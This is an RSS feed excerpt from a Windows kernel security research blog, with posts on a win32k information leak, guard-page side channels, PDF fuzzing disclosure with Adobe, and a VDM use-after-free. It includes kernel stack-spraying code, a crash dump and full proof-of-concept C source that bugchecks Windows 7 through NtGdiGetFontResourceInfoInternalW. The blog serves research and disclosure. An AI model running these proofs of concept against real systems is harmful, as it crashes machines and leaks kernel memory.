<p style="text-align: justify;">It is rather uncommon to observe the 0x007c word in random garbage on the stack or pool allocations. In order to test if the exploit implementing the guard page idea works, we can intentionally spray the kernel-mode stack of the current thread with the expected value, as described in the <a href="http://j00ru.vexillium.org/?p=769">&#8220;nt!NtMapUserPhysicalPages and Kernel Stack-Spraying Techniques&#8221;</a> post from two years ago:</p>
<pre class="brush: c; gutter: true">  CONST ULONG kSprayingSize = 4096;

  PWORD lpSprayBuffer = (PWORD)malloc(kSprayingSize);
  for (ULONG i = 0; i &lt; kSprayingSize / sizeof(WORD); i++) {
    lpSprayBuffer[i] = 0x007c;
  }

  SystemCall(__NR_NtMapUserPhysicalPages,
             NULL,
             kSprayingSize / sizeof(DWORD),
             lpSprayBuffer);</pre>
<p style="text-align: justify;">After running the above snippet of code, we can proceed to disclosing the locations of the magic words on stack. In order to capture the precise location of each of them, we need to scan the stack progressively, i.e. iterate through the 1, 2, 3, &#8230;, 80 buffer sizes and set the the guessed &#8220;|&#8221; count to 1. This way, we can mitigate the fact that each guess attempt removes the special characters from the examined memory area. The final result of a working proof of concept exploit is the following output:</p>
<pre class="brush: text; gutter: true">Word 0x007c found at kernel stack offsets: {0xc, 0xe, }</pre>
<p>which proves truthful given the actual stack layout:</p>
<pre class="brush: text; gutter: true">0: kd&gt; dw eax
8a727b58  fe74 0022 52c0 86cd e4d0 85af 007c 007c &lt;=== here
8a727b68  0400 0000 e220 85af 63b0 86f2 9350 c03a
8a727b78  58d7 832e ab6c 8462 7bec 8a72 1000 8074
8a727b88  0110 0000 0008 0000 0100 0000 0000 0000
8a727b98  0000 0000 1000 0000 0000 0000 4934 0002
8a727ba8  7c1c 8a72 1638 8329 ff7e 0003 0110 0000
8a727bb8  a335 7526 0000 0000 0016 0000 0000 0000
8a727bc8  0000 0000 0000 0001 1000 0000 0000 0000</pre>
<p>The source code of both proof of concept exploits for Windows 7 32-bit can be found <a href="http://j00ru.vexillium.org/blog/15_04_13/poc2.cc">here</a> and <a href="http://j00ru.vexillium.org/blog/15_04_13/poc3.cc">here</a>.</p>
<h1>Bonus</h1>
<p style="text-align: justify;">In addition to the Unicode bug, there is also a fairly trivial NULL Pointer Dereference <em></em>issue of a <em>Denial of Service</em> class in <em>NtGdiGetFontResourceInfoInternalW</em>. If we pass in valid syscall parameters, with the exception of the 4th argument which needs to be a number larger than 0&#215;2710000 (e.g. INT_MAX), the following bugcheck is triggered:</p>
<pre class="brush: text; gutter: true">FAULTING_IP: 
win32k!GetFontResourceInfoInternalW+183
82ea70ab 8901            mov     dword ptr [ecx],eax

TRAP_FRAME:  9785ba28 -- (.trap 0xffffffff9785ba28)
ErrCode = 00000002
eax=00000001 ebx=fffffffe ecx=00000000 edx=00000021 esi=ffac2568 edi=00000000
eip=82ea70ab esp=9785ba9c ebp=9785baac iopl=0         nv up ei pl nz na po nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010202
win32k!GetFontResourceInfoInternalW+0x183:
82ea70ab 8901            mov     dword ptr [ecx],eax  ds:0023:00000000=????????
Resetting default scope

DEFAULT_BUCKET_ID:  INTEL_CPU_MICROCODE_ZERO

BUGCHECK_STR:  0x8E

PROCESS_NAME:  a.exe

CURRENT_IRQL:  2

LAST_CONTROL_TRANSFER:  from 83330d8f to 832cc570

STACK_TEXT:  
9785afdc 83330d8f 00000003 06a179e1 00000065 nt!RtlpBreakWithStatusInstruction
9785b02c 8333188d 00000003 9785b430 00000000 nt!KiBugCheckDebugBreak+0x1c
9785b3f0 83330c2c 0000008e c0000005 82ea70ab nt!KeBugCheck2+0x68b
9785b414 833063be 0000008e c0000005 82ea70ab nt!KeBugCheckEx+0x1e
9785b9b8 832904a6 9785b9d4 00000000 9785ba28 nt!KiDispatchException+0x1ac
9785ba20 8329045a 9785baac 82ea70ab badb0d00 nt!CommonDispatchException+0x4a
9785baac 82e7141a 9785bb54 00000021 00000001 nt!Kei386EoiHelper+0x192
9785bc10 8328f8ba 0022febe 00000021 00000001 win32k!NtGdiGetFontResourceInfoInternalW+0x103
9785bc10 00401397 0022febe 00000021 00000001 nt!KiFastCallEntry+0x12a
WARNING: Stack unwind information not available. Following frames may be wrong.
0022fe88 0040141b 000010b9 0022febe 00000021 a+0x1397
0022ff18 004010b9 00000000 7ffdd000 0022ff68 a+0x141b
0022ff68 00401284 00000001 00000000 00000000 a+0x10b9
0022ff88 7570ed6c 7ffdd000 0022ffd4 7718377b a+0x1284
0022ff94 7718377b 7ffdd000 7476b3b1 00000000 kernel32!BaseThreadInitThunk+0xe
0022ffd4 7718374e 0040126c 7ffdd000 00000000 ntdll!__RtlUserThreadStart+0x70
0022ffec 00000000 0040126c 7ffdd000 00000000 ntdll!_RtlUserThreadStart+0x1b

STACK_COMMAND:  kb

FOLLOWUP_IP: 
win32k!GetFontResourceInfoInternalW+183
82ea70ab 8901            mov     dword ptr [ecx],eax

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  win32k!GetFontResourceInfoInternalW+183

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: win32k

IMAGE_NAME:  win32k.sys

DEBUG_FLR_IMAGE_TIMESTAMP:  51301bf1

FAILURE_BUCKET_ID:  0x8E_win32k!GetFontResourceInfoInternalW+183

BUCKET_ID:  0x8E_win32k!GetFontResourceInfoInternalW+183

Followup: MachineOwner
---------</pre>
<p style="text-align: justify;">A Proof of Concept exploit source code for Windows 7 32-bit is as follows:</p>
<pre class="brush: c; gutter: true">#include &lt;limits.h&gt;
#include &lt;windows.h&gt;

#define __NR_NtGdiGetFontResourceInfoInternalW 0x10b9

ULONG STDCALL SystemCall(DWORD ApiNumber, ...) {
  __asm(&quot;lea edx, [ebp+0x0c]&quot;);
  __asm(&quot;mov eax, %0&quot;:&quot;=m&quot;(ApiNumber));
  __asm(&quot;int 0x2e&quot;);
  __asm(&quot;leave&quot;);
  __asm(&quot;ret&quot;);
}

int main() {
  CONST WCHAR pwszFiles[] = L&quot;\\??\\C:\\WINDOWS\\FONTS\\AHRONBD.TTF&quot;;

  LoadLibrary(&quot;user32.dll&quot;);
  SystemCall(__NR_NtGdiGetFontResourceInfoInternalW,
             pwszFiles,
             sizeof(pwszFiles) / sizeof(WCHAR),
             1,
             INT_MAX,
             0xAAAAAAAA,
             0xBBBBBBBB,
             0);

  return 0;
}</pre>
]]></content:encoded>
			<wfw:commentRss>http://j00ru.vexillium.org/?feed=rss2&#038;p=1609</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Fun facts: Windows kernel and guard pages</title>
		<link>http://j00ru.vexillium.org/?p=1594</link>
		<comments>http://j00ru.vexillium.org/?p=1594#comments</comments>
		<pubDate>Sat, 13 Apr 2013 01:36:38 +0000</pubDate>
		<dc:creator>j00ru</dc:creator>
				<category><![CDATA[C]]></category>
		<category><![CDATA[Conferences]]></category>
		<category><![CDATA[Exploitation]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[kernel]]></category>
		<category><![CDATA[OS Internals]]></category>
		<category><![CDATA[Papers]]></category>
		<category><![CDATA[Ring0]]></category>
		<category><![CDATA[Windows 7]]></category>
		<category><![CDATA[Windows Vista]]></category>
		<category><![CDATA[Windows XP]]></category>

		<guid isPermaLink="false">http://j00ru.vexillium.org/?p=1594</guid>
		<description><![CDATA[It has been a while since I last posted here, so I guess it&#8217;s high time to get back to work and share some more interesting Windows kernel internals goodies. Before we get to that, however, let&#8217;s start with a few announcements. First of all, there is a number of great infosec conferences coming up [...]]]></description>
				<content:encoded><![CDATA[<p style="text-align: justify;">It has been a while since I last posted here, so I guess it&#8217;s high time to get back to work and share some more interesting Windows kernel internals goodies. Before we get to that, however, let&#8217;s start with a few announcements. First of all, there is a number of great infosec conferences coming up and it just so happens that I have been accepted to speak at a few of them. The list includes:</p>
<ul>
<li><strong>SyScan </strong>in Singapore (22-26th of April) with <a href="http://gynvael.coldwind.pl/">Gynvael Coldwind</a>: <strong>&#8220;Bochspwn: Exploiting Kernel Race Conditions Found via Memory Access Patterns&#8221;</strong>. We will be discussing a personal project of ours that led to the discovery of around 50 local vulnerabilities in the Windows kernel, some of them already patched in the February and April security bulletins (<a href="http://technet.microsoft.com/en-us/security/bulletin/ms13-016">ms13-016</a>, <a href="http://technet.microsoft.com/en-us/security/bulletin/ms13-017">ms13-017</a>, <a href="http://technet.microsoft.com/en-us/security/bulletin/ms13-031">ms13-031</a>, <a href="http://technet.microsoft.com/en-us/security/bulletin/ms13-036">ms13-036</a>).</li>
<li><strong>NoSuchCon</strong> in Paris (15-17th of May): &#8220;<strong>Abusing the Windows Kernel: How to Crash an Operating System With Two Instructions</strong>&#8220;</li>
<li><strong>SEConference</strong> in Cracow (24-25th of May): <strong>&#8220;Bezpieczeństwo jądra Windows, lub jak zabić system dwoma instrukcjami&#8221;</strong></li>
<li><strong>CONFidence</strong> in Cracow (28-29th of May) with <a href="http://gynvael.coldwind.pl/">Gynvael Coldwind</a>: <strong>&#8220;Beyond MOV ADD XOR – the unusual and unexpected in x86&#8243;</strong></li>
<li><strong>BlackHat US</strong> in Las Vegas (27th of July &#8211; 1st of August) with <a href="http://gynvael.coldwind.pl/">Gynvael Coldwind</a>: <strong>TBA</strong> (not yet accepted, but going there either way)<strong> </strong></li>
</ul>
<p style="text-align: justify;">If you are planning to attend any of the above, feel free to ping me so that we can have a beer or two. Otherwise, I will be posting the slides / whitepapers on the blog directly following my presentation at each event, in case you&#8217;re interested in the materials.</p>
<p style="text-align: justify;">In other news, last Tuesday Microsoft unexpectedly patched the NTFS.sys device driver vulnerability that we described several months ago in the <a href="http://j00ru.vexillium.org/?p=1272">&#8220;Introducing the USB Stick of Death&#8221;</a> blog post, despite making a prior claim that vulnerabilities which require Administrative and/or physical access to the victim machine are out of scope and are not considered security issues. While this is surprising in itself, the ms13-036 bulletin containing the fix <a href="http://blogs.technet.com/b/msrc/archive/2013/04/11/kb2839011-released-to-address-security-bulletin-update-issue.aspx">has apparently broken a lot of Windows-driven platforms</a>, to the point where the vendor removed the specific 2823324 update from the download center entirely. Such situations are uncommon to see, and this particular one is most likely evidence of how third-party software can rely on unsupported or internal OS behavior. I would be really interested to read a post-mortem, but I guess a binary diff of the old and new (if one comes out) patch will have to do. Stay tuned for the analysis.</p>
<p style="text-align: justify;">Now, let&#8217;s get to the merit of this post.</p>
<p><span id="more-1594"></span></p>
<h1 style="text-align: justify;">Guard pages</h1>
<p style="text-align: justify;">The Windows operating system supports all page access rights made available by the X86 and X86-64 architectures: by using functions such as <a href="http://msdn.microsoft.com/en-us/library/windows/desktop/aa366887%28v=vs.85%29.aspx">VirtualAlloc</a> or <a href="http://msdn.microsoft.com/en-us/library/windows/desktop/aa366898%28v=vs.85%29.aspx">VirtualProtect</a>, one can specify any combination of the R/W/E flags for a group of adjacent user-mode memory pages, or none of them (PAGE_NOACCESS). In addition to these standard rights, Windows additionally implements several custom memory page characteristics, used to facilitate various common tasks performed during normal system execution, such as PAGE_GUARD, PAGE_NOCACHE or PAGE_WRITECOMBINE (all of them described in the <a href="http://msdn.microsoft.com/en-us/library/windows/desktop/aa366786%28v=vs.85%29.aspx">&#8220;Memory Protection Constants&#8221;</a> MSDN article). The PAGE_GUARD flag is particularly interesting here, as it works as a one-time PAGE_NOACCESS marker; i.e. after setting the modifier on a single memory page, the first operation against the page results in triggering a STATUS_GUARD_PAGE_VIOLATION exception and automatically restoring its original access rights.</p>
<p style="text-align: justify;">Among other things, the mechanism is extensively used to implement stack expansion in both ring-3 and ring-0 modes: instead of backing the overall stack region with actual memory, operating systems initially commit only few pages and expand the stack when explicitly required &#8211; that is, when a guard page placed at the bottom of the currently commited region is touched by executable code for the first time. The concept is better illustrated by the figure below:</p>
<p style="text-align: justify;"><img class="aligncenter" alt="" src="http://j00ru.vexillium.org/blog/13_04_13/img.png" width="855" height="126" /></p>
<p style="text-align: justify;">Stack expansion is the most typical use-case for guard pages; however, it turns out that they can also be used for different purposes. Imagine the following snippet of C code as part of an IOCTL handler implementation:</p>
<pre class="brush: c; gutter: true">__try {
  CONST DWORD dwSecrets[] = {0xBBADBEEF, 0xDDEFACED};
  BOOLEAN bCheckPassed = TRUE;
  UINT i;

  for (i = 0; i &lt; 2; i++) {
    if (RtlCompareMemory(&amp;lpUserPointer[i], &amp;dwSecrets[i], sizeof(DWORD)) != sizeof(DWORD)) {
      bCheckPassed = FALSE;
      RtlZeroMemory(&amp;lpUserPointer[i], sizeof(DWORD));
      break;
    }
  }
} except(EXCEPTION_EXECUTE_HANDLER) {
  return STATUS_UNSUCCESSFUL;
}</pre>
<p style="text-align: justify;">While the total length of the secret value compared against is 64 bits, it is rather obvious that line 9 makes it possible to determine the secret as two 32-bit numbers. This is caused by the fact that zeroing out a user-mode memory region containing an invalid value gives us feedback on how far it has gone in comparing the overall 64-bit bitstream. By observing if the first DWORD in the user-mode buffer changes to 0, we can deduce whether it was guessed correctly and proceed to the second part of the secret. However, if the ninth line was removed from the implementation, things would become more complicated. Thanks to the explicit <em>break</em>, we could try to infer information about matched parts of the password by performing precise time measurements in order to extract subtle differences in the number of instructions executed. While effective in many scenarios, timing attacks tend to be costly (due to the need for multiple attempts to obtain reliable results) and sometimes even not possible at all. In that case, we can make use of another simple observation (the subject of this post): <strong>ring-0 code triggers guard page exceptions in the same way ring-3 code does</strong>. This essentially means that an attempt to access a guarded page will trigger an exception and clear the guard bit as normal, therefore providing the user-mode with information of whether a memory region was accessed in kernel-mode, or not.</p>
<p style="text-align: justify;">If we aim to disclose the information about how far a kernel routine has reached in its execution and it includes multiple user-mode memory fetches (from different addresses), we can accurately determine the <em>code coverage</em> of that function with the granularity of the input data reads. This is particularly useful if the routine in question does not provide any feedback in that regard by itself, e.g. it always returns the same error code regardless of the actual problem (as in the example above). Applications can test the PAGE_GUARD bit of a local memory page by using the <a href="http://msdn.microsoft.com/en-us/library/windows/desktop/aa366902%28v=vs.85%29.aspx">VirtualQuery</a> API. One practical usage of this simple idea against a 0-day low-severity information disclosure vulnerability in the Windows kernel will be discussed in detail in a blog post next week. Another theoretical scenario where it could prove useful is when a vulnerable driver passes a user-mode pointer as a parameter to the <em>memcmp</em> or <em>RtlCompareMemory</em> function (which is wrong for other reasons, too). Given that both functions compare words of native CPU size (four bytes on X86, eight bytes on X86-64), passing a ring-3 pointer to either routine would make it easily possible to recover the overall expected input in chunks of 32 or 64 bits, depending on the architecture, as shown below.</p>
<p style="text-align: justify;"><img class="aligncenter" alt="" src="http://j00ru.vexillium.org/blog/13_04_13/img2.png" width="771" height="343" /></p>
<p style="text-align: justify;">Obviously, the technique can be only potentially useful in local scenarios, for exploitation of specific (uncommon) types of information disclosure bugs, possibly as an alternative to timing attacks. It&#8217;s still quite fun, and will hopefully make a little more sense provided a real-world example which will be described in a separate blog post soon. Cheers!</p>
]]></content:encoded>
			<wfw:commentRss>http://j00ru.vexillium.org/?feed=rss2&#038;p=1594</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>PDF Fuzzing Fun Continued: Status Update</title>
		<link>http://j00ru.vexillium.org/?p=1507</link>
		<comments>http://j00ru.vexillium.org/?p=1507#comments</comments>
		<pubDate>Wed, 09 Jan 2013 00:54:18 +0000</pubDate>
		<dc:creator>j00ru</dc:creator>
				<category><![CDATA[Exploitation]]></category>
		<category><![CDATA[hacking]]></category>

		<guid isPermaLink="false">http://j00ru.vexillium.org/?p=1507</guid>
		<description><![CDATA[(Collaborative post by Mateusz “j00ru” Jurczyk and Gynvael Coldwind) Almost five months ago, Gynvael Coldwind and I wrote about an effort to improve the security of popular PDF parsing and rendering software; back then, we were primarily focused on the Chrome PDF Renderer and latest Adobe Reader applications. In order to achieve our results, we [...]]]></description>
				<content:encoded><![CDATA[<p id="internal-source-marker_0.591838173961769" style="text-align: justify;" dir="ltr"><strong>(Collaborative post by Mateusz “j00ru” Jurczyk and <a href="http://gynvael.coldwind.pl/?id=493">Gynvael Coldwind</a>)</strong></p>
<p style="text-align: justify;" dir="ltr">Almost five months ago, <a href="http://gynvael.coldwind.pl/?id=483">Gynvael Coldwind</a> and I <a href="http://j00ru.vexillium.org/?p=1175">wrote</a> about an effort to improve the security of popular PDF parsing and rendering software; back then, we were primarily focused on the <a href="http://www.google.com/intl/en/chrome/browser/">Chrome PDF Renderer</a> and latest <a href="http://www.adobe.com/products/reader.html">Adobe Reader</a> applications. In order to achieve our results, we used several hundred CPU cores to create a unique, minimal set of PDF documents aimed at optimal code coverage. That corpus, which we now consider a fundamental part of our bug hunting success, was used as fuzzing input to numerous mutation algorithms (basic bitflipping, undisclosed PDF-specific algorithms that respect the primary rules of a document’s structure, and things in between).</p>
<p style="text-align: justify;" dir="ltr">As a quick recap, we found more than 50 vulnerabilities ranging from low (unlikely exploitable) to high (serious memory errors) severity in the PDF-parsing component of Google Chrome with the help of <a href="http://code.google.com/p/address-sanitizer/wiki/AddressSanitizer">AddressSanitizer</a>. All of these were fixed by the Chrome Security Team by August 2012, mostly by Chris Evans &#8211; kudos! In addition to that, we also reported around 60 Adobe Reader crashes appearing to be unique in June last year. This consequently resulted in a total of 25 separate fixes addressed by 12 CVEs, as described by the Adobe in their <a href="http://www.adobe.com/support/security/bulletins/apsb12-16.html">APSB12-16</a> security bulletin and implemented in the new 9.5.2 and 10.1.4 versions of the software for Windows and Mac OS X platforms. Unfortunately, a few very important questions remained unanswered, such as “what about the remainder of the reported bugs?” and “what about the security of Reader for Linux users?”. With Adobe releasing new versions for all supported Reader branches and platforms today (9, X, XI for Windows, Mac OS X and Linux), we would like to take the chance to give you an update on where we stand with PDF fuzzing, and what thoughts we have around Reader and the many other pieces of software people use in their daily work with documents.</p>
<p><img class="alignleft" style="margin-right: 10px;" src="http://j00ru.vexillium.org/blog/09_01_13/chrome.png" alt="Google Chrome" width="128" height="128" />Let’s start with Google Chrome &#8211; has anything changed since our last posting? Well, we’ve kept playing with different fuzzing configurations and algorithmic approaches, and discovered 20 new security issues over the last six months, summing up to a total of 78 unique bugs found and fixed in the renderer in 2012. As of now, we are not aware of any unfixed non-DoS issues in the PDF Chrome component.</p>
<p style="padding-left: 30px;">[<a href="https://code.google.com/p/chromium/issues/detail?id=134955">134955</a>] [<a href="https://code.google.com/p/chromium/issues/detail?id=135488">135488</a>] [<a href="https://code.google.com/p/chromium/issues/detail?id=137106">137106</a>] [<a href="https://code.google.com/p/chromium/issues/detail?id=137288">137288</a>] [<a href="https://code.google.com/p/chromium/issues/detail?id=137302">137302</a>] [<a href="https://code.google.com/p/chromium/issues/detail?id=137547">137547</a>] [<a href="https://code.google.com/p/chromium/issues/detail?id=137556">137556</a>] [<a href="https://code.google.com/p/chromium/issues/detail?id=137606">137606</a>] [<a href="https://code.google.com/p/chromium/issues/detail?id=137635">137635</a>] [<a href="https://code.google.com/p/chromium/issues/detail?id=137880">137880</a>] [<a href="https://code.google.com/p/chromium/issues/detail?id=137928">137928</a>] [<a href="https://code.google.com/p/chromium/issues/detail?id=144579">144579</a>] [<a href="https://code.google.com/p/chromium/issues/detail?id=145079">145079</a>] [<a href="https://code.google.com/p/chromium/issues/detail?id=145121">145121</a>] [<a href="https://code.google.com/p/chromium/issues/detail?id=145163">145163</a>] [<a href="https://code.google.com/p/chromium/issues/detail?id=146462">146462</a>] <strong>Medium</strong> CVE-2012-2875: Various lower severity issues in the PDF viewer. Credit to Mateusz Jurczyk of Google Security Team, with contributions by Gynvael Coldwind of Google Security Team.</p>
<p style="padding-left: 30px;">[<a href="https://code.google.com/p/chromium/issues/detail?id=143798">143798</a>] [<a href="https://code.google.com/p/chromium/issues/detail?id=144072">144072</a>] [<a href="https://code.google.com/p/chromium/issues/detail?id=147402">147402</a>] <strong>High</strong> CVE-2012-2890: Use-after-free in PDF viewer. Credit to Mateusz Jurczyk of Google Security Team, with contributions by Gynvael Coldwind of Google Security Team.</p>
<p style="padding-left: 30px;">[<a href="https://code.google.com/p/chromium/issues/detail?id=145029">145029</a>] [<a href="https://code.google.com/p/chromium/issues/detail?id=145157">145157</a>] [<a href="https://code.google.com/p/chromium/issues/detail?id=146460">146460</a>] <strong>High</strong> CVE-2012-2895: Out-of-bounds writes in PDF viewer. Credit to Mateusz Jurczyk of Google Security Team, with contributions by Gynvael Coldwind of Google Security Team.</p>
<p><span id="more-1507"></span></p>
<p style="text-align: justify;" dir="ltr">Coincidentally, the Chrome Security Team just doubled the rewards for all significant vulnerabilities found in the PDF renderer, see a complete list of changes to the VRP rules at <a href="http://blog.chromium.org/2012/08/chromium-vulnerability-rewards-program.html">http://blog.chromium.org/2012/08/chromium-vulnerability-rewards-program.html</a>. For anyone interested, Chrome Security issues eligible for a reward (all other, too) can be filed under<a href="http://crbug.com/"> http://crbug.com/</a>. Good luck!</p>
<p style="text-align: justify;" dir="ltr"><img class="alignright" style="margin-left: 10px;" src="http://j00ru.vexillium.org/blog/09_01_13/ghostscript.png" alt="Ghostscript (src: wikipedia)" width="128" height="128" /><img class="alignright" style="margin-left: 10px;" src="http://j00ru.vexillium.org/blog/09_01_13/okular.png" alt="Okular (src: wikipedia)" width="128" height="128" />We used our corpus to fuzz two other PDF projects: <a href="http://poppler.freedesktop.org/">poppler</a>, an actively-maintained open-source library having its roots in <a href="http://www.foolabs.com/xpdf/">xpdf</a> (which it was originally a fork of) and <a href="http://www.ghostscript.com/">ghostscript</a>, which includes its own lightweight PDF parsing library called <a href="http://www.mupdf.com/">MuPDF</a>. Both libraries can be downloaded and built manually, enabling the usage of AddressSanitizer, and thus, improving the memory error detection ratio. As you might expect, a number of serious problems have been localized in these projects, and they are currently being worked on by their respective development teams, together with some security teams associated with Linux distributions. We would especially like to thank Huzaifa Sidhpurwala from RedHat Security here for his continued interactions with project maintainers on our behalf, passing along reports and being an all-around helpful guy. The general progress in fixing bugs in both projects can be observed in respective upstream git browers: <a href="http://cgit.freedesktop.org/poppler/poppler">http://cgit.freedesktop.org/poppler/poppler</a> and <a href="http://git.ghostscript.com/?p=mupdf.git;a=summary">http://git.ghostscript.com/?p=mupdf.git;a=summary</a>. We estimate that it might take another few weeks or months until the libraries reach a state where no low-hanging fruit vulnerabilities can be easily fuzzed out. Until then, we recommend any potential direct or software wrapped use of the software (such as <a href="http://okular.kde.org/">Okular</a>) be done with extreme care where sensitive data is at risk, either by running them in a properly sandboxed environment, or only against fully trusted input data.</p>
<p style="text-align: justify;" dir="ltr"><img class="alignleft" style="margin-right: 10px;" src="http://j00ru.vexillium.org/blog/09_01_13/reader.png" alt="Adobe Reader XI (src: wikipedia)" width="128" height="128" />Following the release of Adobe Reader 9.5.2 and 10.1.4 and publication of our previous post, we have continued working closely with Adobe and specifically their Product Security Incident Response Team (PSIRT) to ensure 16 pending crashes from previous iteration and new crashes from further iterations can be resolved as soon as possible. In late August, we created a new set of PDF files in the hopes of getting better coverage. There are many features in the standard that are only fully functional in Reader, such as 3D models or certain Javascript features amongst many others, and we wanted to fuzz test these. Generating the corpus took enormous amounts of resources and time; terabytes of public documents has to be run through extremely slow dynamic binary instrumentation-driven parsing. Having a new, greatly improved, and several times larger set of input files at our disposal, we tested its capabilities by running it through the very same algorithms that we used with the previous files, and the results exceeded our wildest expectations: we managed to trigger exactly 568 crashes with unique stack traces during less than a week of running the fuzzing engines (Note: the number of unique stack traces is usually much higher than the number of actual bugs).</p>
<p style="text-align: justify;" dir="ltr">All reproducing PDF files were provided to Adobe in a single report on August 27, 2012. The vendor immediately acknowledged reception of the files and sorted through them as soon as possible. Adobe’s PSIRT sent us regular updates regarding their progress on resolving the reported issues, but said that updates for Windows / Mac OS X platforms would not occur until January 2013. Although we suspected that many of the reported issues could represent critical vulnerabilities in the software and the proposed timeline was far beyond our regular <a href="http://googleonlinesecurity.blogspot.ch/2010/07/rebooting-responsible-disclosure-focus.html">60-day policy</a>, we refrained from making public announcements until today.</p>
<p style="text-align: justify;" dir="ltr">In the meanwhile, on October 15, Adobe released a completely new version of Reader marked as “XI”. Although no public security bulletin coincided with this new version’s release, the company incorporated ~50 new security fixes derived from our previous reports &#8211; fixes that would only be included in the latest application branch and not found in either the currently supported branches 9 or X. If we look back at the situation at the time, it could be summarized in the following three points:</p>
<ul>
<li dir="ltr">
<p dir="ltr">Adobe Reader 9 and X for Windows and Mac OS X were subject to ~16 old vulnerabilities from June 2012 which were missed in the August 2012 update.</p>
</li>
<li dir="ltr">
<p dir="ltr">Adobe Reader 9 for Linux was vulnerable to all ~50 security bugs from the first iteration of testing.</p>
</li>
<li dir="ltr">
<p dir="ltr">Releasing Adobe Reader XI with new patches resulted in the potential disclosure of ~50 new vulnerabilities from the second iteration of testing in both Adobe Reader 9 and X for all platforms.</p>
</li>
</ul>
<p style="text-align: justify;" dir="ltr">The above scenario is a good illustration of what happens if certain supported versions of software are provided with security patches, while others are not. In the era of wide availability of professional binary diffing tools, we find it very possible that many of the bugs fixed on the Windows / Mac OS X platforms but not on Linux and/or in version XI but not 9/X could have been successfully found by third-parties by performing comparison between the patched and unpatched versions of software. In fact, this practise was the sole subject of Nikita Tarakanov’s ZeroNights 2012 presentation called “<a href="http://www.slideshare.net/NTarakanov/the-art-of-binary-diffing">The Art of Binary Diffing or how to find 0-dayz for free</a>”, which only shows that provoking such situations of security inconsistency between equally-supported versions of software can pose a real threat these days.</p>
<p style="text-align: justify;" dir="ltr">As of now, the overall security of the Adobe Reader software family has greatly improved compared to 2012. Today’s security bulletin addresses around 80 bugs in Adobe Reader 9 and X, and up to 19 unique bugs in Adobe Reader XI. According to Adobe, only 19 of these were of critical severity and thus the bulletin contains that many CVE identifiers for the most severe problems. Unfortunately, resolving some of the problems have still been deferred to next versions: 20 bugs are still pending in Reader 9, 14 in Reader X and 9 in Reader XI. It should be noted that these deferred bugs have all been investigated by Adobe and either partially fixed (up to a point where they are no longer exploitable) or considered non-exploitable (e.g. infinite recursions).</p>
<p style="text-align: justify;" dir="ltr">All in all, we think that Adobe did a lot of solid work in terms of dealing with our reports, fixing the bugs, and providing timely updates. On the other hand, we believe that they could still do better in how security updates are released for the various versions of their products. We are hoping that releasing a collective update for all Reader products today will become a standard followed by the vendor in the future.</p>
<p style="text-align: justify;" dir="ltr">Of course, we are planning to run more fuzz testing against the latest Reader (and other software) within the next few days, so you can probably expect more news on the PDF security front to appear on our blogs this quarter :-)</p>
<h3 dir="ltr">Timeline</h3>
<ul>
<li dir="ltr"><strong>14th of August 2012:</strong> new version for Windows and OS X released, <a href="http://j00ru.vexillium.org/?p=1175">old post</a> is published.</li>
<li dir="ltr"><strong>15-26th of August 2012:</strong> Adobe Reader PDF corpus is created and used in fuzzing.</li>
<li dir="ltr"><strong>27th of August 2012:</strong> a total of 568 crashes are reported to Adobe.</li>
<li dir="ltr"><strong>27th of August 2012:</strong> vendor confirms reception.</li>
<li dir="ltr"><strong>7th of September 2012:</strong> vendor informs about 50 unfixed unique bugs known so far, pushes Reader for Linux release until January.</li>
<li dir="ltr"><strong>12nd of October 2012:</strong> vendor informs about 61 unfixed unique bugs known so far and Reader XI release in mid-November.</li>
<li dir="ltr"><strong>21st of December 2012:</strong> vendor gets back to us with a complete summary of fixes released in January.</li>
<li dir="ltr"><strong>8th of January 2013:</strong> new Adobe Reader versions for all platforms are released, this post is published.</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://j00ru.vexillium.org/?feed=rss2&#038;p=1507</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>CVE-2012-2553: Windows Kernel VDM use-after-free in win32k.sys</title>
		<link>http://j00ru.vexillium.org/?p=1479</link>
		<comments>http://j00ru.vexillium.org/?p=1479#comments</comments>
		<pubDate>Tue, 18 Dec 2012 21:21:47 +0000</pubDate>
		<dc:creator>j00ru</dc:creator>
				<category><![CDATA[Exploitation]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[kernel]]></category>
		<category><![CDATA[OS Internals]]></category>
		<category><![CDATA[Ring0]]></category>
		<category><![CDATA[Undocumented API]]></category>
		<category><![CDATA[Windows 7]]></category>
		<category><![CDATA[Windows Vista]]></category>
		<category><![CDATA[Windows XP]]></category>

		<guid isPermaLink="false">http://j00ru.vexillium.org/?p=1479</guid>
		<description><![CDATA[Microsoft addressed several Windows kernel vulnerabilities in the MS12-075 security bulletin released in November this year, some of them residing in every version of the win32k.sys driver shipped with the NT family line systems. Apart from the obviously extremely interesting remote web browser =&#62; ring-0 arbitrary code execution issue, there have also been two other [...]]]></description>
				<content:encoded><![CDATA[<p style="text-align: justify;">Microsoft addressed several Windows kernel vulnerabilities in the <a href="https://technet.microsoft.com/en-us/security/bulletin/ms12-075">MS12-075</a> security bulletin released in November this year, some of them residing in every version of the win32k.sys driver shipped with the NT family line systems. Apart from the obviously extremely interesting remote web browser =&gt; ring-0 arbitrary code execution issue, there have also been two other Local Privilege Escalation bugs, at least one of which was directly related to the management of legacy 16-bit applications running within a VDM (Virtual DOS Machine). Since the topics of use-after-free vulnerabilities in the Windows kernel &#8211; and especially in old and poorly understood functionality &#8211; seems to be very appealing for most, this post aims to cover some of the technical details related to that particular security flaw. In addition to (hopefully) having some didactic and entertainment value, this write-up and the very existence of that bug illustrates how trivial it still is to find elevation of privileges vulnerabilities in undocumented, rarely used features present in the Windows operating system since more than fifteen or twenty years by now. As a side note, a similar (yet unrelated) issue in the same code area has been previously found by Tarjei Mandt back in 2010 and documented in his excellent &#8220;<a href="http://mista.nu/blog/2010/12/15/windows-vdm-task-initialization-vulnerability/">CVE-2010-3941: Windows VDM Task Initialization Vulnerability</a>&#8221; post over two years ago. There is also more evidence of Windows VDM and its kernel-mode support (WOW32) being subject of in-depth security research in the past: for example, see &#8220;<a href="http://seclists.org/fulldisclosure/2010/Jan/341">Microsoft Windows NT #GP Trap Handler Allows Users to Switch 